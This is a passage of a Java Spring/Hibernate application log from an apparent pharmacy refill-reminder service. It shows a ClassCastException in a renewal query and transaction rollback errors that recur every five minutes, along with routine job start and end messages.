org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at 